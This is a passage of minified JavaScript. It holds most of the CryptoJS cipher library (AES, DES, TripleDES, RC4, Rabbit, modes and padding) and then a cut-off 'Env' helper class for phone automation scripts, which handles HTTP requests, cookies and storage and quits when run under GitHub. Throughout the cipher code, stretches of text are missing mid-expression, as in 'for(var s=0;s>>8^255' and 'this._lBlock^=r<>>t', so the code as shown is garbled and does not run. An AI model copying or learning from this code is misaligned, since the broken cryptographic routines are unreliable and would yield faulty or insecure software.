this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); +} + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}isShadowrocket(){return"undefined"!=typeof $rocket}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"put";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let 